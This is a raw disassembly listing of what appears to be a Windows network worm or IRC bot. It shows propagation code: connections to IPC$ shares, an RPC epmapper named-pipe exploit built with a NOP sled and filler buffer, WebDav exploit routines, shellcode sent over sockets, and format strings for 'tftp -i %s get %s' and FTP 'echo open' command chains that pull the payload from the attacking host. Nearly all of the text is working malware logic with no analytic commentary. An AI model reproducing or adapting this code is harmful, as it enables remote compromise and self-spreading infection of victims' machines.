O U T I N E ======================================= ; Attributes: bp-based frame sub_414038 proc near ; CODE XREF: sub_409848+61D1p ; sub_4140CC+65p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_41409A ; --------------------------------------------------------------------------- loc_414044: ; CODE XREF: sub_414038+66j cmp eax, 1 jnz short loc_4140AB mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_4140AB cmp cl, 2Ah jz short loc_414083 cmp cl, 3Fh jz short loc_414068 cmp cl, 5Bh jz short loc_41406D xor eax, eax cmp cl, dl setz al loc_414068: ; CODE XREF: sub_414038+22j inc [ebp+arg_4] jmp short loc_414096 ; --------------------------------------------------------------------------- loc_41406D: ; CODE XREF: sub_414038+27j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] inc esi push eax mov [ebp+arg_0], esi call sub_413FA4 mov esi, [ebp+arg_0] jmp short loc_414094 ; --------------------------------------------------------------------------- loc_414083: ; CODE XREF: sub_414038+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4140CC mov esi, [ebp+arg_0] dec esi loc_414094: ; CODE XREF: sub_414038+49j pop ecx pop ecx loc_414096: ; CODE XREF: sub_414038+33j inc esi mov [ebp+arg_0], esi loc_41409A: ; CODE XREF: sub_414038+Aj mov cl, [esi] test cl, cl jnz short loc_414044 jmp short loc_4140AB ; --------------------------------------------------------------------------- loc_4140A2: ; CODE XREF: sub_414038+76j cmp eax, 1 jnz short loc_4140C7 inc esi mov [ebp+arg_0], esi loc_4140AB: ; CODE XREF: sub_414038+Fj ; sub_414038+18j ... cmp byte ptr [esi], 2Ah jz short loc_4140A2 cmp eax, 1 jnz short loc_4140C7 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_4140C7 cmp byte ptr [esi], 0 jnz short loc_4140C7 xor eax, eax inc eax jmp short loc_4140C9 ; --------------------------------------------------------------------------- loc_4140C7: ; CODE XREF: sub_414038+6Dj ; sub_414038+7Bj ... xor eax, eax loc_4140C9: ; CODE XREF: sub_414038+8Dj pop esi pop ebp retn sub_414038 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4140CC proc near ; CODE XREF: sub_414038+53p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] inc dword ptr [esi] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 xor ebx, ebx jmp short loc_4140FB ; --------------------------------------------------------------------------- loc_4140E6: ; CODE XREF: sub_4140CC+35j mov cl, [eax] cmp cl, 3Fh jz short loc_4140F7 cmp cl, 2Ah jnz short loc_414103 cmp cl, 3Fh jnz short loc_4140F9 loc_4140F7: ; CODE XREF: sub_4140CC+1Fj inc dword ptr [edi] loc_4140F9: ; CODE XREF: sub_4140CC+29j inc dword ptr [esi] loc_4140FB: ; CODE XREF: sub_4140CC+18j mov ecx, [edi] cmp [ecx], bl mov eax, [esi] jnz short loc_4140E6 loc_414103: ; CODE XREF: sub_4140CC+24j cmp byte ptr [eax], 2Ah jnz short loc_414112 loc_414108: ; CODE XREF: sub_4140CC+44j inc eax mov ecx, eax mov [esi], eax cmp byte ptr [ecx], 2Ah jz short loc_414108 loc_414112: ; CODE XREF: sub_4140CC+3Aj mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_41412F cmp [eax], bl jz short loc_414122 xor eax, eax jmp short loc_414194 ; --------------------------------------------------------------------------- loc_414122: ; CODE XREF: sub_4140CC+50j cmp dl, bl jnz short loc_41412F cmp [eax], bl jnz short loc_41412F xor eax, eax inc eax jmp short loc_414194 ; --------------------------------------------------------------------------- loc_41412F: ; CODE XREF: sub_4140CC+4Cj ; sub_4140CC+58j ... push ecx push eax call sub_414038 test eax, eax pop ecx pop ecx jnz short loc_41417E loc_41413C: ; CODE XREF: sub_4140CC+B0j inc dword ptr [edi] mov ecx, [esi] mov eax, [edi] mov cl, [ecx] cmp cl, [eax] jz short loc_414160 loc_414148: ; CODE XREF: sub_4140CC+92j mov ecx, [esi] cmp byte ptr [ecx], 5Bh jz short loc_414160 cmp [eax], bl jz short loc_414175 inc eax mov [edi], eax mov ecx, [esi] mov cl, [ecx] mov edx, eax cmp cl, [edx] jnz short loc_414148 loc_414160: ; CODE XREF: sub_4140CC+7Aj ; sub_4140CC+81j cmp [eax], bl jz short loc_414175 push eax push dword ptr [esi] call sub_414038 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_41417A ; --------------------------------------------------------------------------- loc_414175: ; CODE XREF: sub_4140CC+85j ; sub_4140CC+96j mov [ebp+var_4], ebx xor eax, eax loc_41417A: ; CODE XREF: sub_4140CC+A7j cmp eax, ebx jnz short loc_41413C loc_41417E: ; CODE XREF: sub_4140CC+6Ej mov eax, [edi] cmp [eax], bl jnz short loc_414191 mov eax, [esi] cmp [eax], bl jnz short loc_414191 mov [ebp+var_4], 1 loc_414191: ; CODE XREF: sub_4140CC+B6j ; sub_4140CC+BCj mov eax, [ebp+var_4] loc_414194: ; CODE XREF: sub_4140CC+54j ; sub_4140CC+61j pop edi pop esi pop ebx leave retn sub_4140CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414199 proc near ; CODE XREF: .text:004145C4p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset aIpc ; "\\IPC$" lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_42BA98 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax mov ecx, 8Ah lea edi, [ebp+var_34E] rep stosd push 45h stosw pop ecx xor ebx, ebx xor eax, eax mov [ebp+var_124], bl lea edi, [ebp+var_123] rep stosd stosw push 0FFh stosb lea eax, [ebp+var_124] push eax push 0FFFFFFFFh push [ebp+arg_0] push ebx push ebx call dword_4220D4 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_418630 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_418630 mov esi, [ebp+arg_4] add esp, 10h lea eax, [ebp+var_354] push ebx mov [esi+14h], eax mov eax, offset dword_42BA94 push eax push eax push esi mov [esi+4], ebx mov [esi+10h], ebx mov [esi+1Ch], ebx call dword_43A4F8 cmp eax, 5 mov edi, 4C3h jz short loc_414258 cmp eax, edi jnz short loc_414262 loc_414258: ; CODE XREF: sub_414199+B9j push ebx push ebx push ebx push esi call dword_43A4F8 loc_414262: ; CODE XREF: sub_414199+BDj cmp eax, 5 jz short loc_414270 cmp eax, edi jz short loc_414270 xor eax, eax inc eax jmp short loc_414272 ; --------------------------------------------------------------------------- loc_414270: ; CODE XREF: sub_414199+CCj ; sub_414199+D0j xor eax, eax loc_414272: ; CODE XREF: sub_414199+D5j pop edi pop esi pop ebx leave retn sub_414199 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414277 proc near ; CODE XREF: .text:00414616p ; .text:004146F6p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset aIpc ; "\\IPC$" lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_42BA98 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax mov ecx, 8Ah lea edi, [ebp+var_34E] rep stosd push 45h stosw pop ecx xor ebx, ebx xor eax, eax mov [ebp+var_124], bl lea edi, [ebp+var_123] rep stosd stosw push 0FFh stosb lea eax, [ebp+var_124] push eax push 0FFFFFFFFh push [ebp+arg_0] push ebx push ebx call dword_4220D4 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_418630 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_418630 add esp, 10h jmp short loc_414311 ; --------------------------------------------------------------------------- loc_414306: ; CODE XREF: sub_414277+ABj push 7D0h call dword_422000 ; Sleep loc_414311: ; CODE XREF: sub_414277+8Dj push ebx lea eax, [ebp+var_354] push ebx push eax call dword_43A350 test eax, eax jnz short loc_414306 pop edi pop esi inc eax pop ebx leave retn sub_414277 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41432A proc near ; CODE XREF: .text:00414642p ; .text:0041477Dp var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1FE4 = dword ptr -1FE4h var_1FD8 = byte ptr -1FD8h var_1F31 = byte ptr -1F31h var_1008 = byte ptr -1008h var_1000 = dword ptr -1000h var_FF8 = dword ptr -0FF8h var_F88 = dword ptr -0F88h var_F84 = dword ptr -0F84h var_F54 = dword ptr -0F54h var_F50 = dword ptr -0F50h var_F38 = dword ptr -0F38h var_E7C = dword ptr -0E7Ch var_CA8 = dword ptr -0CA8h var_CA0 = dword ptr -0CA0h var_C98 = byte ptr -0C98h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_D0 = dword ptr 0D8h arg_D4 = dword ptr 0DCh arg_D8 = dword ptr 0E0h push ebp mov ebp, esp mov eax, 3008h call sub_416B90 push ebx push offset byte_42FD4C push [ebp+arg_0] mov [ebp+var_8], 0A7h call sub_408894 pop ecx push eax lea eax, [ebp+var_3008] push 1000h push eax call sub_4120F4 mov ebx, eax add esp, 10h test ebx, ebx mov [ebp+var_4], ebx jz loc_414599 push esi push edi push 0Ch pop ecx mov esi, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" lea edi, [ebp+var_2008] rep movsd push 29h pop ecx mov eax, 90909090h lea edi, [ebp+var_1FD8] rep stosd stosw stosb mov ecx, ebx mov eax, ecx shr ecx, 2 lea esi, [ebp+var_3008] lea edi, [ebp+var_1F31] rep movsd mov ecx, eax add ebx, 0D7h jmp short loc_414404 ; --------------------------------------------------------------------------- loc_4143B3: ; CODE XREF: sub_41432A+EAj mov ebx, [ebp+var_8] inc ebx push 0Ch pop ecx mov esi, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" lea edi, [ebp+var_2008] rep movsd mov ecx, ebx mov edx, ecx shr ecx, 2 mov eax, 90909090h lea edi, [ebp+var_1FD8] rep stosd mov ecx, edx and ecx, 3 rep stosb mov eax, [ebp+var_4] mov ecx, eax mov edx, ecx lea edi, [ebp+ebx+var_1FD8] shr ecx, 2 lea esi, [ebp+var_3008] mov [ebp+var_8], ebx rep movsd mov ecx, edx lea ebx, [ebx+eax+30h] loc_414404: ; CODE XREF: sub_41432A+87j and ecx, 3 mov eax, ebx push 10h rep movsb cdq pop ecx idiv ecx cmp edx, 0Ch jnz short loc_4143B3 cmp [ebp+arg_D8], 0 jz short loc_414438 cmp [ebp+arg_D4], 3 jz short loc_414431 cmp [ebp+arg_D4], 0 jnz short loc_414446 loc_414431: ; CODE XREF: sub_41432A+FCj mov eax, dword_4308FC jmp short loc_41444B ; --------------------------------------------------------------------------- loc_414438: ; CODE XREF: sub_41432A+F3j cmp [ebp+arg_D4], 3 mov eax, dword_4308FC jz short loc_41444B loc_414446: ; CODE XREF: sub_41432A+105j mov eax, dword_4308F8 loc_41444B: ; CODE XREF: sub_41432A+10Cj ; sub_41432A+11Aj mov [ebp+var_1FE4], eax mov ecx, 0D8h mov esi, offset dword_430430 lea edi, [ebp+var_1008] rep movsd mov esi, offset dword_430794 lea edi, [ebp+var_CA8] movsd movsd movsd movsd mov ecx, ebx mov eax, ecx shr ecx, 2 lea esi, [ebp+var_2008] lea edi, [ebp+var_C98] rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Fh pop ecx lea eax, [ebx+370h] lea edi, [ebp+eax+var_1008] add eax, 3Ch mov esi, offset off_4307A8 rep movsd lea edi, [ebp+eax+var_1008] push 0Ch pop ecx mov esi, offset dword_4307E8 rep movsd lea esi, [eax+30h] mov eax, ebx cdq sub eax, edx sar eax, 1 add [ebp+var_CA8], eax add [ebp+var_CA0], eax mov eax, [ebp+var_1000] lea eax, [eax+ebx-0Ch] mov [ebp+var_1000], eax mov eax, [ebp+var_FF8] lea eax, [eax+ebx-0Ch] mov [ebp+var_FF8], eax mov eax, [ebp+var_F88] lea eax, [eax+ebx-0Ch] mov [ebp+var_F88], eax mov eax, [ebp+var_F84] lea eax, [eax+ebx-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F54] lea eax, [eax+ebx-0Ch] mov [ebp+var_F54], eax mov eax, [ebp+var_F50] lea eax, [eax+ebx-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F38] lea eax, [eax+ebx-0Ch] mov [ebp+var_F38], eax mov eax, [ebp+var_E7C] lea eax, [eax+ebx-0Ch] lea edi, [esi+1] push edi mov [ebp+var_4], esi mov [ebp+var_E7C], eax call sub_416E1F pop ecx mov ecx, edi mov ebx, ecx mov edx, eax shr ecx, 2 xor eax, eax mov edi, edx rep stosd mov ecx, ebx and ecx, 3 rep stosb mov ecx, esi lea esi, [ebp+var_1008] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, [ebp+arg_D0] and ecx, 3 rep movsb mov ecx, [ebp+var_4] pop edi mov [eax], ecx mov eax, edx pop esi loc_414599: ; CODE XREF: sub_41432A+3Fj pop ebx leave retn sub_41432A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1338h call sub_416B90 cmp dword ptr [ebp+0BCh], 1BDh push ebx push esi push edi jnz loc_41470A lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_414199 test eax, eax pop ecx pop ecx jz loc_414814 lea eax, [ebp+0Ch] push eax lea eax, [ebp-338h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_416975 add esp, 0Ch xor ebx, ebx push ebx push 80h push 3 push ebx push 1 push 0C0000000h lea eax, [ebp-338h] push eax call dword_422034 ; CreateFileA mov [ebp-4], eax cmp eax, 0FFFFFFFFh lea eax, [ebp+0Ch] jnz short loc_414621 loc_414615: ; CODE XREF: .text:004146C2j push eax call sub_414277 pop ecx jmp loc_414814 ; --------------------------------------------------------------------------- loc_414621: ; CODE XREF: .text:00414613j push 2 push eax call sub_40402D pop ecx pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0D0h push 34h pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_41432A add esp, 0DCh cmp eax, ebx mov [ebp-8], eax jz short loc_4146B6 push 186A0h call sub_416E1F pop ecx mov esi, eax push ebx xor eax, eax mov ecx, 61A8h mov edi, esi rep stosd lea eax, [ebp-0Ch] push eax mov edi, 2710h push edi push esi push 48h push offset dword_4303E0 push dword ptr [ebp-4] call dword_422134 ; TransactNamedPipe cmp byte ptr [esi+2], 0Ch jnz short loc_4146A6 push ebx lea eax, [ebp-14h] push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] call dword_422030 ; WriteFile test eax, eax jnz short loc_4146C7 loc_4146A6: ; CODE XREF: .text:0041468Cj push esi call sub_416D07 push dword ptr [ebp-8] call sub_416D07 pop ecx pop ecx loc_4146B6: ; CODE XREF: .text:00414652j push dword ptr [ebp-4] call dword_42202C ; CloseHandle lea eax, [ebp+0Ch] jmp loc_414615 ; --------------------------------------------------------------------------- loc_4146C7: ; CODE XREF: .text:004146A4j push ebx lea eax, [ebp-0Ch] push eax push edi push esi push dword ptr [ebp-4] call dword_42208C ; ReadFile push dword ptr [ebp-8] mov edi, eax call sub_416D07 push esi call sub_416D07 pop ecx pop ecx push dword ptr [ebp-4] call dword_42202C ; CloseHandle lea eax, [ebp+0Ch] push eax call sub_414277 cmp edi, 1 pop ecx jnz loc_414828 jmp loc_414814 ; --------------------------------------------------------------------------- loc_41470A: ; CODE XREF: .text:004145B6j lea eax, [ebp+0Ch] push 1 push eax call sub_40402D mov esi, eax cmp esi, 1 pop ecx pop ecx jz loc_414814 xor ebx, ebx push ebx push 1 push 2 call dword_43A3BC ; socket cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_414814 push dword ptr [ebp+0BCh] xor eax, eax lea edi, [ebp-24h] stosd stosd stosd stosd mov word ptr [ebp-24h], 2 call dword_43A514 ; ntohs mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call dword_43A434 ; inet_addr push ebx push esi mov [ebp-20h], eax lea eax, [ebp-0Ch] push eax sub esp, 0D0h push 34h pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_41432A mov esi, eax add esp, 0DCh cmp esi, ebx mov [ebp-8], esi jnz short loc_414796 push dword ptr [ebp-4] jmp short loc_41480E ; --------------------------------------------------------------------------- loc_414796: ; CODE XREF: .text:0041478Fj mov edi, [ebp-4] push 10h lea eax, [ebp-24h] push eax push edi call dword_43A36C ; connect cmp eax, 0FFFFFFFFh jnz short loc_4147AE loc_4147AB: ; CODE XREF: .text:004147C0j push esi jmp short loc_414807 ; --------------------------------------------------------------------------- loc_4147AE: ; CODE XREF: .text:004147A9j push ebx push 48h push offset dword_4303E0 push edi call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz short loc_4147AB push ebx mov esi, 1000h push esi lea eax, [ebp-1338h] push eax push edi call dword_43A324 ; recv push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call dword_43A458 ; send cmp eax, 0FFFFFFFFh jnz short loc_4147EF push dword ptr [ebp-8] jmp short loc_414807 ; --------------------------------------------------------------------------- loc_4147EF: ; CODE XREF: .text:004147E8j push ebx push esi lea eax, [ebp-1338h] push eax push edi call dword_43A324 ; recv cmp eax, 0FFFFFFFFh push dword ptr [ebp-8] jnz short loc_41481B loc_414807: ; CODE XREF: .text:004147ACj ; .text:004147EDj call sub_416D07 pop ecx push edi loc_41480E: ; CODE XREF: .text:00414794j call dword_43A4D0 ; closesocket loc_414814: ; CODE XREF: .text:004145CDj ; .text:0041461Cj ... xor eax, eax jmp loc_4148D3 ; --------------------------------------------------------------------------- loc_41481B: ; CODE XREF: .text:00414805j call sub_416D07 pop ecx push edi call dword_43A4D0 ; closesocket loc_414828: ; CODE XREF: .text:004146FFj lea eax, [ebp+0Ch] push eax lea eax, [ebp-234h] push offset aTftpFileTran_1 ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_416975 add esp, 0Ch xor esi, esi loc_414842: ; CODE XREF: .text:00414862j lea eax, [ebp-234h] push eax call sub_401FEF test eax, eax pop ecx jnz short loc_414866 push 1388h call dword_422000 ; Sleep inc esi cmp esi, 6 jl short loc_414842 jmp short loc_4148D0 ; --------------------------------------------------------------------------- loc_414866: ; CODE XREF: .text:00414851j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0C4h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax lea eax, [ebp-234h] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call sub_416975 add esp, 10h cmp [ebp+0D0h], ebx jnz short loc_4148B2 push ebx push dword ptr [ebp+0CCh] lea eax, [ebp-234h] push eax lea eax, [ebp+30h] push eax push dword ptr [ebp+8] call sub_405D62 add esp, 14h loc_4148B2: ; CODE XREF: .text:00414893j lea eax, [ebp-234h] push eax call sub_401F0F mov eax, [ebp+0C4h] imul eax, 3Ch lea eax, dword_42E070[eax] inc dword ptr [eax] pop ecx loc_4148D0: ; CODE XREF: .text:00414864j xor eax, eax inc eax loc_4148D3: ; CODE XREF: .text:00414816j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 4210h call sub_416B90 push ebx push esi push edi lea eax, [ebp+0Ch] push 1 push eax call sub_40402D test eax, eax pop ecx pop ecx jz loc_414A4E cmp eax, 1 jz loc_414A4E push 0 push 1 push 2 call dword_43A3BC ; socket mov ebx, eax xor eax, eax cmp ebx, 0FFFFFFFFh jz loc_414A50 push dword ptr [ebp+0BCh] lea edi, [ebp-10h] stosd stosd stosd stosd mov word ptr [ebp-10h], 2 call dword_43A514 ; ntohs mov [ebp-0Eh], ax lea eax, [ebp+0Ch] push eax call dword_43A434 ; inet_addr push offset byte_42FD4C push dword ptr [ebp+8] mov [ebp-0Ch], eax call sub_408894 pop ecx push eax mov esi, 1000h lea eax, [ebp-2210h] push esi push eax call sub_4120F4 add esp, 10h test eax, eax jz loc_414A4E push 122h push offset loc_430900 lea eax, [ebp-4210h] push esi push eax call sub_411FED mov eax, 12Eh add [ebp-0EB0h], eax add [ebp-0EA8h], eax mov eax, 250h add [ebp-1208h], eax add [ebp-1200h], eax add [ebp-1190h], eax add [ebp-118Ch], eax add [ebp-115Ch], eax add [ebp-1158h], eax add [ebp-1140h], eax add [ebp-1084h], eax add esp, 10h push 10h lea eax, [ebp-10h] push eax push ebx call dword_43A36C ; connect cmp eax, 0FFFFFFFFh jnz short loc_4149EA loc_4149E7: ; CODE XREF: .text:004149FEj ; .text:00414A17j ... push ebx jmp short loc_414A48 ; --------------------------------------------------------------------------- loc_4149EA: ; CODE XREF: .text:004149E5j xor edi, edi push edi push 48h push offset dword_430A28 push ebx call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz short loc_4149E7 push edi push esi lea eax, [ebp-3210h] push eax push ebx call dword_43A324 ; recv cmp byte ptr [ebp-320Eh], 0Ch jnz short loc_4149E7 push edi push edi lea eax, [ebp-1210h] push eax push ebx call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz short loc_4149E7 push edi push esi lea eax, [ebp-3210h] push eax push ebx call dword_43A324 ; recv cmp byte ptr [ebp-320Eh], 3 push ebx jnz short loc_414A55 loc_414A48: ; CODE XREF: .text:004149E8j call dword_43A4D0 ; closesocket loc_414A4E: ; CODE XREF: .text:004148F7j ; .text:00414900j ... xor eax, eax loc_414A50: ; CODE XREF: .text:00414919j ; .text:00414B06j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_414A55: ; CODE XREF: .text:00414A46j call dword_43A4D0 ; closesocket lea eax, [ebp+0Ch] push eax lea eax, [ebp-210h] push offset aTftpFileTran_1 ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_416975 add esp, 0Ch xor esi, esi loc_414A75: ; CODE XREF: .text:00414A95j lea eax, [ebp-210h] push eax call sub_401FEF test eax, eax pop ecx jnz short loc_414A99 push 1388h call dword_422000 ; Sleep inc esi cmp esi, 6 jl short loc_414A75 jmp short loc_414B03 ; --------------------------------------------------------------------------- loc_414A99: ; CODE XREF: .text:00414A84j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0C4h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax lea eax, [ebp-210h] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call sub_416975 add esp, 10h cmp [ebp+0D0h], edi jnz short loc_414AE5 push edi push dword ptr [ebp+0CCh] lea eax, [ebp-210h] push eax lea eax, [ebp+30h] push eax push dword ptr [ebp+8] call sub_405D62 add esp, 14h loc_414AE5: ; CODE XREF: .text:00414AC6j lea eax, [ebp-210h] push eax call sub_401F0F mov eax, [ebp+0C4h] imul eax, 3Ch lea eax, dword_42E070[eax] inc dword ptr [eax] pop ecx loc_414B03: ; CODE XREF: .text:00414A97j xor eax, eax inc eax jmp loc_414A50 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3D4h and dword ptr [ebp-10h], 0 push ebx push esi push edi mov esi, offset dword_42BB80 lea edi, [ebp-24h] movsd movsd movsd movsd push 15Bh movsw mov dword ptr [ebp-44h], 6741A1CDh mov dword ptr [ebp-40h], 6741A199h mov dword ptr [ebp-3Ch], 6741A426h mov dword ptr [ebp-38h], 67419E1Dh mov dword ptr [ebp-34h], 67419CE8h mov dword ptr [ebp-30h], 0FFB7DE9h mov dword ptr [ebp-2Ch], 0FFB832Fh call sub_416E1F pop ecx mov edi, eax mov [ebp-4], edi push 56h xor eax, eax pop ecx rep stosd stosw stosb mov ecx, [ebp-4] mov edi, ecx lea esi, [ebp-24h] movsd movsd movsd movsd add ecx, 11h movsw mov edi, ecx mov [ebp-28h], ecx dec edi loc_414B8B: ; CODE XREF: .text:00414B91j mov al, [edi+1] inc edi test al, al jnz short loc_414B8B mov esi, offset loc_42BB7C movsw movsb mov edi, ecx dec edi loc_414B9E: ; CODE XREF: .text:00414BA4j mov al, [edi+1] inc edi test al, al jnz short loc_414B9E mov esi, offset aNilsisgay ; "NILSISGAY!!" movsd push 6 movsd push 1 push 2 movsd call dword_43A3BC ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_414DE5 and dword ptr [ebp-8], 0 lea esi, [ebp-44h] mov [ebp-0Ch], esi loc_414BCF: ; CODE XREF: .text:00414D73j xor eax, eax lea edi, [ebp-24h] stosd stosd stosd stosd lea eax, [ebp+0Ch] push eax mov word ptr [ebp-24h], 2 call dword_43A434 ; inet_addr push dword ptr [ebp+0BCh] mov [ebp-20h], eax call dword_43A514 ; ntohs mov [ebp-22h], ax push 10h lea eax, [ebp-24h] push eax push ebx call dword_43A36C ; connect cmp eax, 0FFFFFFFFh jz loc_414D5F mov edi, [ebp-28h] not dword ptr [esi] push 4 push esi push edi call sub_416840 mov eax, offset loc_42E370 add esp, 0Ch mov ecx, eax loc_414C29: ; CODE XREF: .text:00414C2Ej mov dl, [eax] inc eax test dl, dl jnz short loc_414C29 sub eax, ecx mov esi, ecx dec edi loc_414C35: ; CODE XREF: .text:00414C3Bj mov cl, [edi+1] inc edi test cl, cl jnz short loc_414C35 mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 lea eax, [ebp-4] rep movsb lea ecx, [eax+1] loc_414C51: ; CODE XREF: .text:00414C56j mov dl, [eax] inc eax test dl, dl jnz short loc_414C51 push 0 sub eax, ecx push eax lea eax, [ebp-4] push eax push ebx call dword_43A458 ; send test eax, eax jz loc_414D5C mov esi, dword_422000 push 3E8h call esi ; Sleep push ebx call dword_43A4D0 ; closesocket xor eax, eax lea edi, [ebp-24h] stosd stosd stosd stosd lea eax, [ebp+0Ch] push eax mov word ptr [ebp-24h], 2 call dword_43A434 ; inet_addr push 7BDh mov [ebp-20h], eax call dword_43A514 ; ntohs mov [ebp-22h], ax push 10h lea eax, [ebp-24h] push eax push ebx call dword_43A36C ; connect test eax, eax jz loc_414D5C mov eax, offset byte_42FD4C push eax push eax push dword ptr [ebp+8] call sub_408894 pop ecx push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" mov edi, 190h lea eax, [ebp-1D4h] push edi push eax call sub_416BCD add esp, 18h push dword_439F04 push dword ptr [ebp+8] call sub_408894 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp-1D4h] push edi push eax call sub_416BCD add esp, 14h push 0 add edi, 70h push edi lea eax, [ebp-3D4h] push eax push dword ptr [ebp+8] call dword_43A324 ; recv test eax, eax jle short loc_414D5C push 1F4h call esi ; Sleep lea eax, [ebp-1D4h] lea edx, [eax+1] loc_414D3E: ; CODE XREF: .text:00414D43j mov cl, [eax] inc eax test cl, cl jnz short loc_414D3E push 0 sub eax, edx push eax lea eax, [ebp-1D4h] push eax push ebx call dword_43A458 ; send test eax, eax jg short loc_414D7B loc_414D5C: ; CODE XREF: .text:00414C6Aj ; .text:00414CBEj ... mov esi, [ebp-0Ch] loc_414D5F: ; CODE XREF: .text:00414C0Bj push ebx call dword_43A4D0 ; closesocket inc dword ptr [ebp-8] add esi, 4 cmp dword ptr [ebp-8], 7 mov [ebp-0Ch], esi jb loc_414BCF jmp short loc_414DE5 ; --------------------------------------------------------------------------- loc_414D7B: ; CODE XREF: .text:00414D5Aj push ebx call dword_43A4D0 ; closesocket lea eax, [ebp+0Ch] push eax mov eax, [ebp+0C4h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-3D4h] push edi push eax mov dword ptr [ebp-10h], 1 call sub_416BCD add esp, 14h cmp dword ptr [ebp+0D0h], 0 jnz short loc_414DD8 push 0 push dword ptr [ebp+0CCh] lea eax, [ebp-3D4h] push eax lea eax, [ebp+30h] push eax push dword ptr [ebp+8] call sub_405D62 add esp, 14h loc_414DD8: ; CODE XREF: .text:00414DB8j lea eax, [ebp-3D4h] push eax call sub_401F0F pop ecx loc_414DE5: ; CODE XREF: .text:00414BBFj ; .text:00414D79j mov eax, [ebp-10h] pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414DED proc near ; CODE XREF: .text:00414F33p ; .text:00414FD3p ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi lea eax, [ebp+var_8] push eax push esi push esi lea eax, [ebp+var_10C] push eax push esi mov [ebp+var_8], 1Eh mov [ebp+var_4], esi mov [ebp+var_108], ebx mov [ebp+var_10C], 1 call dword_43A468 ; select test eax, eax jg short loc_414E3B push ebx call dword_43A4D0 ; closesocket loc_414E36: ; CODE XREF: sub_414DED+71j or eax, 0FFFFFFFFh jmp short loc_414E72 ; --------------------------------------------------------------------------- loc_414E3B: ; CODE XREF: sub_414DED+40j push edi push esi mov edx, offset dword_480D78 push 400h push edx xor eax, eax mov edi, edx mov ecx, 100h push ebx rep stosd call dword_43A324 ; recv cmp eax, 1 pop edi 